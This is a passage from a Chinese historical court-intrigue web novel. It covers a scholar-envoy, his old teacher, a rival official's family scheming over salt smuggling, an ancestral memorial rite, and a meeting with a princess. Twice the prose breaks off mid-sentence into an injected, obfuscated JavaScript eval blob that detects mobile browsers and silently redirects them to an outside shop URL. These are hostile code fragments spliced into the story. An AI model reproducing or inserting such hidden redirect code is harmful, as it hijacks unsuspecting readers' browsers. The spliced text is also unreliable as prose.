只是这燕融疑心太重,不知是否听王家挑唆了,一直监视娄卿旻确实是个麻烦,让人做起事来束手束脚,仲清在想,或许自己要寻个机会向国君告一番状,再替自己这学生说几句。 思及此,仲清给娄卿旻建议道:“你可先按兵不动,或者暗地拿王堃小试牛刀,但切记不要让人发现是你做的。” 经仲清一提醒,娄卿旻茅塞顿开,才想到自己先前被王酉铭之事勾着走了,全然忘了在他之前还有一个蠢人,或许真的可以利用这蠢人借刀杀人,顺便也能警醒王酉铭。 不过,他还有不明白的事…… “先生,学生还有一事想问。” 得到仲清允许的眼神,他才缓缓道出口:“学生想问您是何时与泉城城主姜大人有联系的?” 娄卿旻回忆二人自华纪相认后这些年,他知道仲清早早来了燕国却一直未有官职,但先前几次会面也从未听仲清提起过姜贯,如今姜贯忽然出头为仲清寻官职,不仅他好奇,或许王家人更好奇这个突然出现还得了官职之人。 提到姜贯,仲清开始回忆从前往事:“既然你开口问了,我便全部告诉你。” “实不相瞒我从前是出生在燕国,被母亲独自抚养长大的。那时你自是未出世,我与娄太傅也不相识,随着年岁渐长,母亲告知我的父亲是华纪世家子弟的后代,加冠之年我便回去认祖归宗了。奈何身为庶子又是父亲在外私生便没法继承家业,待了半年我便被赶了出来。走投无路时,是你父亲对我施以援手给了我个处所暂居,我学了手工做买卖小赚了一笔便娶妻生子了。哪里料到妻子患上不治之症还丧了命,我便独身一人养着我儿。” “世事难料,娄太傅突然辞官离开华纪都城,我在华纪没什么朋友,想起年少时听燕国百姓说燕国国君燕融是个良善之人,我便带着我儿兴致冲冲回到燕国。起初我自认为胸有抱负,但燕国上下竟无一人用我,学了半生的本事无处施展,我很气愤,已经心灰意冷,忽然又听闻泉城的姜城主是个识人善用之人,我便来了,之后的事还算顺利,我也找到机会投于他门下。” “后来我儿大了,他说他一直惦记着一华纪寻常人家的小女,我便又着急忙慌地到人门上提亲。那时遇到被救下的你,与你相认后做了你几年先生我便又带着我儿与儿媳一同回了燕国,剩下的事你也知晓了。” “我儿仲鸣娶了新妇便整日与她腻在一起在外城做了小买卖养家糊口,我回到燕国先是在家中待了几日,总觉的度日如年甚是无趣,听闻姜城主之子也是整日不着家,他也孤身一人,我便又寻到他府上,来来往往互相伴了几年,久而久之就成了无话不谈的知己。” 仲清说话的声音愈来愈小,故事却愈来愈清晰。 娄卿旻认真听完,感慨着:“学生竟不知先生与姜大人从前还有如此渊源!” 他甚至有些惋惜,觉得仲清如此优异之人却大半辈子都在为仕途奔波,人生之路跌宕起伏如此曲折,而今不惑之年才得来了官职,确实是怀才不遇,更应当珍惜。 “你不怪我瞒你?” 娄卿旻摇摇头,“不会。先生如何做都有先生的道理,况且往事不可谏,已经过去的事知或不知都不重要,重要的是先生要把握好眼下。” 这边仲清思绪万千,想着想着便忆起自己的机会是姜贯换来的,他对国君与王酉铭极度不满,先是叹气后又冷哼一声,“那姓王的一家全是小人,一丘之貉,我迟早要寻机会替姜兄报仇!” “先生切记要三思。” 娄卿旻听他这话连忙皱眉道,“眼下姜宣同闯了滔天大祸,姜家失势一无所有,那王酉铭难免会迁怒与您,您也要谨慎些,尤其是在姜城主之事上,敬而远之保全自我才是良策。” 娄卿旻说这话也是提醒他,若无十足的准备万不可随意行事亦或是随意为姜家说话。 虽然姜贯是为他提供了个机会,但姜贯已经无力自保,如过江之猛兽,谁与之牵扯上都会被连累,仲清好不容易得来的官职应当珍惜再珍惜,此刻避而远之才是最正确的。 他面色凛然说得极其认真,仿佛不听他所言便会祸从天降。 见此仲清无奈摇了摇头,拍着娄卿旻的肩,“你呀,就是太过认真,太过理智,事事总要追求个规矩,总觉得沾染上旁人的事便是染上麻烦,可你想想,若无他姜贯,何来今日的我呢?又或者说,我不去招惹王酉铭,那人就能放过我么?” “既已踏上同一条船,性命便是栓在一起了,若他那处漏水了,我们真不管不顾,便是勉强行了几里地又如何?最终还是逃不掉沉海的结局。” 话说到一半,他忽然停下盯着娄卿旻看了许久,眼神十分耐人寻味,对方则是沉思着不言语。 仲清用最简单的例子向娄卿旻解释,最后又教导他,“你还是未经世事,缺乏阅历,不过人总是要慢慢成长的,你也不必急于一时。待日后遇到想护着的人你便会懂,大难临头各自飞是有情有义之人最不屑做的。” “况且,多一个人助力,事情或许就会事半功倍!” 见娄卿旻垂首一言不发,便知他真听进去了。 二人相聊甚欢,聊完互相告别后,娄卿旻又换上来时的衣物,仲清送他出门前多问了一嘴:“是不是快到娄太傅与娄夫人的忌日了?” 言罢,娄卿旻向外的脚步顿了一下滞在原地,似是没料到仲清会提起这件事,他微微颔首回答道:“就在三日后。” 三日后,十月十五,亦是下元日,距离娄卿旻双亲逝世已整整八年。 仲清回想往事,他也曾在娄太傅手下做过事,亦是娄太傅给了他个第一个安身立命的处所,他对此很是感恩戴德,奈何华纪前朝国君疑心深重卸磨杀驴害死诸多贤臣,娄太傅为求自保,才不得不举家一齐搬迁至百草林的郯庄。 若非如此便也不会被山匪盯上,丢了财物还又失了生命,独留娄卿旻一人在世,孤独可怜。 否则,娄卿旻断不会养成如此冷漠的性子,只秉着独身便能万全,已及冠之年,还是恐惧与旁人牵扯上半点干系。 总拒人千里之外,何尝不是一种心疾? 说起来华纪王室朝氏族始终是欠娄太傅一家的,毕竟从前是娄太傅帮前朝国君出谋划策才让华纪国得到如今的繁荣,奈何没落个好结局。 许是缘分使然,还是上天有眼,不想让娄家断了根,便派现任国君的太子和公主在秋猎之时救下逃亡的娄卿旻一命。 也算是两两相抵,无功无过。 年纪大了,想到往事仲清心里便如同压了大石,看向娄卿旻的眼神多了几分怜爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405610|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻轻抬手拍了下他的肩,道:“三日后你定下地方给我传个信,届时我与你一同祭拜他们。” “好。” * 时间飞快流逝,不知不觉过去许多天。 就在十月十五前一日,右师府闹了出笑话。 天刚蒙蒙亮,睡梦中的王酉铭便被一阵鬼哭狼嚎吵醒。 那噪音缠在耳中很是难听,本来浓浓的困意顷刻间便消散地无影无踪,王酉铭面容铁青,不等人服侍便自己三两下穿起衣衫起身开门。 他想看看是何人敢在此处喧哗,不料打开门竟见到那个毛头小子在园中跑来跑去,他气不打一处来,愤怒训斥:“王堃,你怕不是得了癫病?大清早的不睡觉来我府上发什么疯!” 闻言,王堃一瘸一拐地向他这边跑来。 二话不说便扑进王酉铭怀中,像个稚童,“伯舅,伯舅,我怕!我怕!” 王酉铭那灰白的眉毛拧成一团,十分嫌弃地推开他,“怕什么!男子汉大丈夫怎如此没出息?” “伯舅,堃儿昨夜做噩梦,梦见那几个普桑的人死状极其凄惨,还哭着要我偿命!本以为是这几日劳累过度梦魇了,不想今日便在府邸发现了这个,定是他们变成鬼来找我报仇了!” 说着他从袖袍中取出一小物递到王酉铭眼前。 王酉铭接过来看一眼,如玉般质地坚硬,还有些素白,模样如同人的指骨,但细细长长又不像是真的人骨,他问:“这是何物?” “伯舅,我先前在那几个人身上见过,此物应是普桑之人传递消息的信物。” 王堃挠挠头,忽然想起来,“他们好似叫这个为,龙骨!” “您说会不会是普桑见这几位都没回去,便猜出是我们将他们抓起来的,如今在背后谋划报仇,所以故意将此物放到府邸来挑衅恐吓我们?” “不可能!”男人十分气愤,下意识就反驳出这句话。 因为粗盐之事受国君与那华纪使臣之命,对外保密,连燕国百姓们都知之甚少,怎会传到普桑人那里去。不过这倒是提醒他了,那被关起来的普桑人迟迟不回信,对面应是怀疑了。 但他们没证据又没出入关门的符节,怎会贸然行动?更不可能有机会恐吓王堃。 “我是怕……” 王堃胆小如鼠,自觉有父亲与伯舅撑腰,一辈子未受过大苦,粗盐之事他本就有错,如今亦是心虚恐惧。 “怕什么?人是自尽而亡,既不是你杀的也不是你举证抓进大牢的,他们若找来你便将责任全部推到姜家身上,届时再行个苦肉计卖卖惨,看在伯舅的面子上他们也不敢对你下手。” 更何况,私贩粗盐之事关乎华纪与燕国两个大国的联盟关系,说白了,这属于两国之间的家事,没有人会主动将此事传给普桑,除非是真想撕破脸。 华纪明显与普桑暗地不对付,一个崇文一个尚武,他一早便听说华纪的人们将普桑称之为野蛮人,打心里是看不上的,虽是准备和亲,但亲还未成,华纪又怎会这么快对他们抛枝。 不过今日之事明显是有人在背后借刀杀人,以为借着普桑的手恐吓王堃便能唬住他王酉铭,实在是笑话。 他倒要看看究竟是何人在背后装神弄鬼。王酉铭猛地想起什么,“姜宣同如何了?” “几十大板下去已经半死不活,姜贯那老东西整日给他熬药治伤呢,伯舅,我在想要不要将他……”王堃做出一个抹脖子的动作。 “不可!” “眼下那华纪使臣还在燕国,你不要做蠢事,粗盐之事过去便翻篇了,你真当国君是个傻的什么都不知道?他那是故意做戏,而众人早就看出来你才是幕后指使,国君非但没有严惩你还让你坐在盐官的位置上便已经是最大的仁慈。” “何况那姜贯看着仁善,实则不是个软柿子,若你真要了他儿子的命,他必定会与王家鱼死网破,届时那姓娄的再旧事重提,我们得不偿失。” 王酉铭恨铁不成钢地看着眼前人,指着他的鼻子骂道:“你可不要自作聪明,走偏门左道,纯像个没脑子的废物!” “是堃儿犯傻了,堃儿一定谨记伯舅的教诲。” “那十廿要如何处置?” 王堃做贼心虚总怕十廿临时改口出卖他,一想到这个隐患,他便整夜整夜睡不着觉,他试探问道:“据说已经被打得皮开肉绽惨不忍睹了,赵成延还想再用些极刑,您说他会不会受不住疼痛供出我们?” 王酉铭不以为然,很是坚信那人,摇摇头道:“不会。” 随后解释道:“若要供他不等到用刑便会供,你现在便不是在这里好好站着了。” 据他所观察,十廿等人不知有什么把柄在人手上,宁愿自己身死也不会拖累国家与背后之人,但人心险恶,王酉铭宁愿相信也许他们是因为有亲人在背后之人手中,也不愿相信天下会有什么重情重义之人。 他始终相信,只有恐惧与利益才能操控人心。 真情真爱之类的东西,简直天方夜谭。 王酉铭睥睨着这个不争气的外甥,一点小事就慌里慌张实在难成大事,害怕这人坏他的事,厉声吩咐道:“今日之后你便不要再来我府上了,好好做你的盐官,只一个龙骨便自乱阵脚,如何成得了大事?” 王堃被训斥完之后,一阵窘迫,垂下头闷闷接话:“是,伯舅。” 远处跑来一个面容焦急的侍卫,王酉铭认出是他派去监视娄卿旻的人,连忙看向来人追问:“出何事了?” 侍卫见王堃在一侧,便左看右看一时不知该不该说,得到王酉铭一个同意的眼神他才缓缓开口: “回大人,那华纪使臣貌似与泉城来的那位小官有些瓜葛,前几日属下跟他们去了外城,跟丢了,最后发现他从那藏室官所居的客舍出来。他本身在宫中住着好端端地不可能去宫外客舍住,所以属下怀疑他二人有干系。” “他与藏室官?” 莫不是想拉帮结派? 还没听侍卫回禀,忽然听到一旁的男子十分震惊的语气: “伯舅,您……您竟派人监视华纪使臣!” 闻言王酉铭不耐烦地瞥他一眼,言语怪罪:“蠢货!当心你的嘴!” 25. 内城风波(八) 在得知王酉铭私自监视华纪使臣后,王堃的眼中不止震惊,随之蒙上几分恐惧,他颤巍巍地抬头,问:“伯舅,您到底在计划什么,能与孩儿透露几分么?” 他什么都不知道,实在是害怕。 然而王酉铭根本不与他解释。 时至今日,经过粗盐之事,王酉铭对这个外甥的种种表现很不满。 也不知造了什么孽,一向繁荣的王家如今只剩下王堃这一个男丁,其余皆是女子,整个家族竭尽全力全然扶持他一人,奈何此人却是个烂泥扶不上墙的蠢货。 但眼下明显不是与他摊牌的时候,王酉铭便没宣之于口,而是用手指着他,催促着:“此事你不必知晓,快些滚回府上,日后别再来我这儿,若坏了我的大事唯你是问!” 王堃见王酉铭脸色越来越黑,也不敢多留,低头应声道了个“是”,便飞速离开了。 送走王堃,王酉铭拿着那截龙骨交到暗卫手上,叮嘱暗卫:“你去司寇牢狱,将此物送到十廿手上,让他再坚持些时日,告知他本官不会让他真死在燕国。” 暗卫接下命令便去做事了。 福祸相依,虽不知是何人将这龙骨送到他手上的,本是为害他而来,但既然东西到他手上了,他便会尽其所能利用好一切。 或许可以将此物当成一个信物,让祸变为福,让利刃变成盾牌,来换取十廿的信任。 想到这儿,王酉铭忽然激动地大笑起来。 果然,天都站在他这边! …… 时间转瞬即逝,转眼便到了金乌坠地之时。 娄卿旻正在自己的寝殿为他前几日作的图添置细节。 已经在燕国宫内待了许多时日,他大概都摸清了各个宫所处方位,也晓得其中住了哪几位贵人。甚至都标清了几十位朝官的居所与当值之地。 他收到暮均禀报的消息说白日里王堃疯疯癫癫跑到右师府上闹了一场,被右师大人指着鼻子狠狠训斥了一顿,本以为王堃能连累王酉铭自乱阵脚,奈何王酉铭警惕性很高,竟丝毫不乱,还当作什么都没发生似得,把人赶走了。 说完所有事暮均便站在案前沉默着等人搭话,一旁紧挨着他的是刚为娄卿旻添上茶水的暮商。 茶香泗溢,冒着丝丝热气,诱人品茗。 娄卿旻沉默着听完,缓缓放下笔墨后,端起手边的茶尝了一口道:“早料到这位右师大人的头脑与常人不同,他不上钩实属正常。” 不论如何,能掌管一国的财务大权及国库钥匙的大人,怎会与那毛手毛脚的废物反应一般? 此次行动不全然是为了借刀杀人,更重要的是诱他们行动。 粗盐之事已经过去月余,大牢里那个已经半死不活了,按照娄卿旻对北狄人的了解,若十廿背后真的有人,一直没有他的消息,用不了多久就会派人来寻。 而王酉铭或许事到如今还觉得十廿是普桑人,自觉隐瞒了消息就无人知晓了,殊不知天下没有不透风的墙。 北狄人可比普桑人更野蛮也更记仇。 此次无功而返,暮均有些失落。 本是奉命吓唬王家人,让他们互相推卸责任狗咬狗,不想却未起到任何作用。他有些无助地看了自家大人一眼,问了句:“大人我们接下来要如何做?” 娄卿旻静静冥想了许久,想到前几日仲清所言忽然有些大悟,语气尤其认真:“或许真应该听先生的,多寻一个人便多一个帮手。” 毕竟一人难挑千斤担,众人能移万座山。 或许他该向朝颜与先生学习,在众人危难时能帮则帮,这样便能多结交个朋友,待日后生难时相互扶持,不至于孤者难行。 一旁的暮商暮均二人听娄卿旻忽然改了以往独身行事的心性,相视一眼,心道真是难得。 娄卿旻放下茶杯后撩着衣袍站起身,走向窗前看向外面逐渐暗下来的日光,想起初进燕国皇宫的那日在宴席上见过的那几位大人,他眼中露出一抹锐利,像只苏醒的狮子般,带着掌控全局的威信。 “暮均,你在燕国待了这么久,可了解左师大人与大司马各自的为人?” 暮均思索片刻答道:“回答人的话,属下知晓的是,不论百姓口中或是文武百官嘴里时常流传着几句话。” 娄卿旻哦了一声,视线转过来,道:“什么话?” “泉城的姜大人极好是大善人,而内城的周大人是顶天的大好人。至于大司马,属下了解不多,军营战士们将其称为以一挡百的煞神,从不与任何人交好,不论风雨,每日都会雷打不动地去军营操练士兵。” 话毕,娄卿旻看向暮均的眼神又暗了几分。 看来大司马可以暂时不考虑,那左师周鉴与右师同为文官互相对立又互相配合,倒可以借机一用。 他快步走回案边打开自己方才画的燕国皇城图,盯着左师府与泉城两个地盘看了许久,口中重复念着“好人、善人”这两个词,而后薄唇扬起一个弧度,转身看向暮均,“依你之见,什么样的人才是好人?” 暮均似是没想到娄卿旻会问他,沉默着想了几瞬才答:“属下孤陋寡闻,只知晓不做坏事的、一心向善的便是好人。” 这个回答有些浮于表面,娄卿旻不是十分满意,但他没反驳,而是继续问:“那在你眼中,贩卖私盐盈利的姜宣同又是何种人?” 暮均半信半疑回答着:“恶人?” 他话语中是明显的不确定,想来想去还是觉得姜宣同不是十分的恶人,便又补充道:“属下觉得还是不能一概而论,毕竟他也没害过人,敛财也不是从百姓身上抢来的,应是好人与恶人中间的?半好不坏?” 太阳快要散去,屋内逐渐暗下来,娄卿旻转身点了烛火,坐回案前。 其实每个人对同一件事都会有不同见解,因着看法不同得出的结论亦不同,想起燕国这几个人,又道:“如你所言,是是非非、真真假假,善或是恶都不能混为一谈。” “那大人您的意思是?” 娄卿旻没明面回答他这个问题,反而做了个决定,“既然都说周大人是好人,且与姜城主在百姓中的名望类似,那改日我们便去拜访一下这位‘大好人’。” 上次在宴席上与之交谈过,那人外表看上去慈善和蔼,有些独善其身。但娄卿旻知晓,若他真的身上只有善而没半分心机是坐不到他如今的位置上的。 身为朝臣必须学会藏拙,亦是要装作什么都不在意,如若不然,被人轻而易举抓到把柄算计进去便因小失大了。 “据说这位周大人整日除了上朝便是回府,先前偶尔救济难民,貌似与您一样,经常称病避门不见,从来不主动关注旁人闲事,但若有人向他求助,他也会视情况而鼎力相助。” 暮均将打听来的消息一一道出。 一旁的暮商笑着调侃:“闭门不见客这点,倒是与咱们家大人的性子有些类似。” 其实说来性格相像更方便与之交好。 思及此娄卿旻一本正经地吩咐道:“你们准备准备,明日祭祀完后我要去趟左师府。” “是。” * 翌日乃十月十五,下元日,是寻常人祭祀先祖与逝人的日子。娄卿旻一早便起身,到外城购了许多新鲜花束,香烛、酒水与饭菜更是必不可少。 几人准备好一切便乘车去了燕国外城山丘上的一座小寺庙。 清静圣地容不得杂物,在这之前三人已经沐浴更衣焚香整整三次,洗净了身上尘渍才来。 几人寻了一处静谧之地,刚摆好贡品与牌位,便听到一阵悉悉索索的脚步声,几人应声回头看,娄卿旻最先开口招呼,“先生,您来了。” 仲清嗯了一声,便自发接过娄卿旻手中举着的几根香,走向牌位前弯腰垂头恭恭敬敬拜了几下又起身。他倒是未曾想到娄卿旻会将二人的牌位一直带在身上,怕不是睹物思人? 而娄卿旻之所以有这个习惯,也是因为他时常与太子上战场,带着灵牌一来是怕某一日丧身沙场无人知晓他的身份,二来便是方便每年祭祀,毕竟他时常奔波,根本没有几次去父母坟上祭拜的机会。 仲清忽然立在娄卿旻身侧,从宽大袖口中掏出一片布帛递到他手上,“这是我为娄太傅编写的祭文,其上记录了他生前与我二人相处时的点点滴滴,你有空闲时间念与他听再将其烧掉,若他在九泉之下回忆起从前往事也会开心些。” 娄卿旻看着布帛上密密麻麻的字迹,想来是编写了许久才完成的,此等东西劳心劳力,若非交情至深不可能会写。 本以为父母只他一人还记着,不想还有先生这般善心的人与他一同记挂着父母,如此便更加证明他们也曾真实存在过,不是他一人的空头幻想。 想到这儿他心中百感交集,双眸逐渐红了,泛起淡淡血丝,他不发一言只是万分感激地凝视着仲清,眼角湿漉,是平日不曾有过的失控。 见状,仲清连忙安抚着拍了他的肩膀,二人转正身子一齐望向桌案。 案上纯白香烛燃了半根,桌面也敬献着多样供品,都是娄卿旻花重金筹备的,而这些金银也是他每月俸禄积攒起来的。 每次他行功论赏都会得一笔赏金,那些便由暮商全部散播给城中的老弱妇孺,救济百姓。 除此之外,他府上还有些粮食,若他真遇险,也足够养活数百个亲卫。 他二人各自凝神盯着牌位看了许久,又稳稳行了三鞠躬礼,烧了些纸钱,娄卿旻逐字逐句念完祭文,捏着其中一角放在火上烘烤,待其燃烧干净才拜别,小心翼翼收了牌位。 过了几日的阴冷日子,今日骄阳十分舒适,二人想着散散心,便相伴步行,不紧不慢地下山,两刻钟后便到了山脚,踏入外城的街里。 刚踏入主街道,娄卿旻便望到一处楼台。 其上热热闹闹人山人海,是来自各地的商人游士。 他早几日便听说外城近日新建造了一家酒肆,生意还算不错,想必就是眼前热络的楼台。 据暮均调查后发现是朝颜特意安排手下人经营的,酒肆明面的东家还是个女子,听人描述女子的貌美长相后,娄卿旻一猜便知是自己从燕晤手中救下的那名唤作连瑕的女子。 据说她与酒肆可谓出尽风头,坊间也是各种传言。 起初这家酒肆刚建好时,一些男人听到是女子做东家很是不屑,觉得女子怎么配掌握地契当东家。 但偏偏连瑕用自己的身体力行狠狠地打了众人一耳光,极其响亮。她虽是女子,但比诸多男子还要刻苦。她不止当掌柜的管理账本,更有许多菜品都是她一一亲自研制出来的,口味一绝,燕国上下仅此一家。 但有些事做得再好,还是会引发一些人的不满。 许多流言蜚语中伤人。 其中有认识连瑕的男子,见人突然从一个万人嫌弃的落魄人妇变成如今夺人眼目的自强女掌柜,纷纷对其身后之人好奇,很是妒忌,觉得这样一座好酒肆应当让给男子来管辖,落在女子手上实在浪费。 他们胡乱猜测,还往她身上泼脏水。 有说连瑕出卖身体,他背后的男人施舍给她了金银财宝她才得以建起整座酒肆的。 也有人说是神秘女仙神显灵了,天上掉馅饼砸到连瑕了促使她翻身的。更有说是连瑕把她婆家害得家破人亡后,才得到这个机会的。 人言可畏,好似一根根毒刺,扎在人心上让人锥心刺骨得疼。 好在连瑕选择捂住自己的耳朵,不去听这些污言秽语,若不然早就撑不下去了。 众人都关注在连瑕凭什么当掌柜的事情上,从来没有一个人发自肺腑地认为,连瑕之所以能得到这个机会,也全然是因为她有这个本事。 众人只觉得若这个馅饼落到自己头上,能做得比她更好。 殊不知这个想法才是大错特错。 娄卿旻不理会众人如何猜测,因为他一早便猜到此事是出自朝颜的手笔,心中忽然也开始佩服朝颜动作如此之快,前段时日连瑕还在宫内当侍女被人打骂,如今不到一月,此人忽然摇身一变,成了燕国第一位女掌柜,将酒肆打理地井井有条,生意还出奇得好。 说出去任谁都会嫉妒。 也有传言说酒肆生意越做越好的缘由之一是因为人们好奇,想来看女子怎么当掌柜,等着看她笑话,谁知来了以后,品尝完菜肴才发现,连瑕确实烧了一手绝味,一下吸引了许多回头客。 这第二个原因便是,这二楼客舍专门为每个入店休憩的客人都提供了熏香,治失眠头痛,有助身体健康。 但不论是哪个,都足以证明,女子也可以管事,女子不止相夫教子这一条活路。 娄卿旻忆起初见连瑕时,她兢兢业业为婆家做事却换来一个被发卖的悲惨结局,如今逃离深渊做出一番天地后才发现,是否能繁衍子嗣不是判定一个女子能不能过得好的缘由。 难道真是他错了? 难道真如朝颜所言? 相夫教子与否应当由女子自己选择,而不该强加到她们身上? 如此看来,那无嗣便是不孝的话,是众人对女子强上的枷锁。 也难怪朝颜从前听他说那些话的时候生气,或许,如今的天下真的对女子不太公平。 娄卿旻正思索着,店内小二规规矩矩地引他们几人落座。 坐下后,他又心不在焉地想了许久才回过神,见一旁的暮商替他点过菜之后便站到一旁。他忆起什么,蓦地起身朝仲清一拜,郑重其事地道:“多谢先生今日与我一同祭祀。” 仲清连忙摆手示意他快坐下,“你我二人之间不必言谢,从前娄太傅在世时待我不薄,这都是我应该做的。” 娄卿旻心中明白,这世间哪有什么应该做的,就算是父母对孩子也不存在什么该不该,更莫要说这非亲非故的关系。仲清既然主动做了便是证明心中记挂着他们,有他们的位置,所以他应当感谢仲清的心意。 谈话间,小二已经上了几盘菜肴。 “许久不见,你还是如从前一般,老三样?” 仲清盯着木桌上的几盘吃食,看着面前这几道菜与他从前所食一般无二,仲清十分诧异,难以置信。 依旧是两块黄米饼,一碗豆饭藿羹,一盘蒜拌苦菜,就连出门应酬参加宴席都是以茶代酒。仲清很是不解,哪有人常年如一日,一直这样? 这边的娄卿旻淡淡点了点头,承认了。 “你未免太过苛责自己了。” 暮商与暮均在一旁听着二人搭话,心中都佩服自家大人,四季年年,日复一日,自家大人的膳食都不曾变过,不知不觉中,他貌似比从郡防中毒回来后养伤的那几日又瘦弱不少。 娄卿旻的膳食端上桌案后,仲清看着这几样素食直皱眉,对他此举措有些无奈,“你还真是,无欲无求,长此以往不食半点荤腥,身体怎么受得了?更莫要说你日日忙东忙西,奔波劳苦,这哪里是常人所能承受的。” “已经习惯便不能更改了。学生始终将父亲教导我的东西铭记于心,傲不可长,欲不可纵,志不可满,乐不可极。这食欲日日都会享用,更是不能太随意太放纵。” 仲清还想劝他,但见人一副凛然模样,到嘴边的话忽然又改了:“罢了,我知道即使劝你你一时半刻也改变不了。” 他倒是忘了,娄太傅什么都好,不论身为夫君或是朝臣,对妻子宠爱有加,对君王孝忠诚信,唯独在为人父上太过严格,过于苛责,导致娄卿旻养成如今的冷淡脾性与这非常人能忍受的习惯。 娄卿旻不在意别人对自己的任何看法,他也不会改。 想到前段时日在宫里撞破那场关于连瑕的闹剧,他忽然问:“先生,您在燕国多年,可识得燕晤?” “那不是国君胞弟的名讳么?” 见娄卿旻点了点头,仲清如实答道:“不相识,但听过。” “学生有次碰见他,见他对一些学识颇有自己的见解,学生与他说有自己的先生,他便提出也想拜先生为师的话,说是想向您请教疑难,听您授业。” 仲清有些惊诧,疑惑抬眼,十分认真看着娄卿旻,“竟有此事?” 他多年来只有娄卿旻一个学生,还是因与娄太傅相识,如今忽然有人说想拜他为师,那样一想,还真有几分不知所措。 而后听娄卿旻又道:“若您也有教学弟子的意愿,学生改日便约他前来与您一见。” 仲清摸着下颌思索了一会儿,点点头说了个“可!” …… 朝颜在宫内闷了许多时日才将病养好,这边刚能见风便带着槐夏出宫看望连瑕。 酒肆在她的经营越来越好,朝颜也真心为她高兴。酒肆人愈发多,朝颜便不多叨扰,刚准备离开一下楼便看到角落中坐着一熟人,向门口看去,又注意到那里还板正地站着两个守门的。 见此场面朝颜掩面一笑,甚觉滑稽。 放眼望去,那男子连坐姿与用膳姿势都那样端正严肃,本是该放松的时刻还这样紧绷,也真是个神人。 不过令朝颜好奇的是,从来独身的娄卿旻此刻身侧居然坐着一位上了年纪的老伯,二人静静坐着一言不发,各自用膳,一看便知是在坚守食不言寝不语的“体统”。 自那日娄卿旻将连瑕救下送到她宫里,二人便没再见过。 朝颜还想当面谢谢他,慢慢下楼后朝他们走去,她站在娄卿旻身后,最先张嘴打了招呼:“少傅大人,竟在此处碰到您了,实在是巧,不知这位是?” 如丝般柔滑的嗓音带着属于女子的甜美传入耳中,娄卿旻听到这熟悉声音后身子顿了一顿,认出声音的主人,转过头便看到头戴帷帽,身披裘衣的朝颜。 他隔着面纱匆匆看了朝颜一眼,连忙起身朝着来人作揖,指了下一旁的男人解释着:“殿下,巧遇,这位是我的先生。” 话毕,仲清也站了起来,很积极热情地提起步子走到二人中间,向迎面走来的朝颜看去,脸上带着让人想亲近的微笑,还主动逗她:“这身姿,这嗓音,怕是位天仙吧!老夫来猜猜,阁下便是华纪的朝颜公主,可对?” 朝颜站在人面前才看清这老伯的真正面貌,她先是被老伯这略有些粗狂的面容惊了一下,后见人笑得如此和颜悦色,她安抚了自己受惊的心,告诫自己不可以貌取人。 她也从未见过说话如此有趣的先生,觉得很是新奇,想到自己不以真面目示人不礼貌,便连忙掀开帷帽朝着老伯一拜,接话道:“先生果真料事如神,先生好啊!” “好好好!我很好!” 一直都是听旁人说,如今终于得见朝颜真人,仲清还是很高兴的,又忍不住夸赞道:“从前老夫便知晓华纪王宫内的公子公主们个个模样俊俏,今日一见果然不是信口雌黄!朝颜公主的容貌可谓是天仙下凡,世间少见的!” 没人不喜欢听夸奖的话,朝颜虽不是第一次被人夸,但如此直白的赞叹加上老伯不带任何目的的欣赏,她忽然感觉到有几分羞愧,红了脸,“先生可不要拿我打趣了,我也是承了父母的容貌,应该感谢父母为我生得如此面目。” 被朝颜几句话提醒,仲清摸了摸下颌,眼神透过朝颜想到从前旧人,“我倒是忘了,从前你的母亲……” 话说到一半,他又改了口,“哦!是我唐突了,从前华纪元王后在世时也是一绝的容貌,更是泉城第一才女。” 朝颜瞬间抬眸,满眼惊喜,“先生识得我母亲?” “实不相瞒,鄙人年轻时也听过元王后的才女之名,很是钦佩。” “这么说,先生也知晓我的舅父姜大人?” 仲清眯着眼睛笑了笑,娄卿旻在一旁顺着接话,“他二人是旧识。” “竟如此有缘分?” 闻言仲清狠狠点了头,然后几人又将事情大概说了清楚,朝颜又在仲清口中对自己母亲的认识更深了一层。其间提到仲清此刻在燕国内当值之事,朝颜瞬时喜笑颜开,“这么说,先生现在在藏室当值?” 见二人不否认,朝颜又道:“那我是否可以去探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405611|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望您?顺道找些书看?先生也不必将公主挂在嘴边,我是小辈,您叫我朝颜便好。” 这几日她正愁没地方找书册让连瑕学习,她深知仅凭舅父那几本珍藏与自己为数不多的书册实在是不够,若想成大事,便要一刻不停地学习新东西。 王后朝弦已经破例帮她解决了酒肆之事,自己不好意思再去麻烦她,但是有了仲清便不一样了。她可以趁探望之时在藏室中寻几本有用的书册学习,因得熟人管事她也能晚些时日再归还。 一旁的仲清听完朝颜的话,眼里流出一抹欣赏,“想不到你这小丫头还颇有你母亲当年的风范!她年轻时也喜爱读书写字,果真是她亲生的。若有需要你尽管来,老夫在藏室等你。” 一直被以女子不必读书写字为由拒绝习惯了,仲清答应得如此快反倒让朝颜疑惑了,“您不劝我?” “劝你什么?” “劝我赶快出嫁相夫教子,劝我做女红。” “而不是支持我看书……” 话毕,仲清用一种看老古板的眼神看朝颜,很是不理解,“你这话好生奇怪,相夫教子与读书又不冲突!你若真心喜欢读书,那便读,何必理会别人的想法,女红做来做去也会厌烦,看书解闷何尝不是一种乐趣呢?” “不过你倒是提醒我了。听闻你日后会嫁到普桑去,若到时你夫妻二人关系好,你学些东西也可助他兴家,若关系不好,那你脑中有存粮,出去自力更生亦是好的,届时便不必整日围着丈夫转了。” 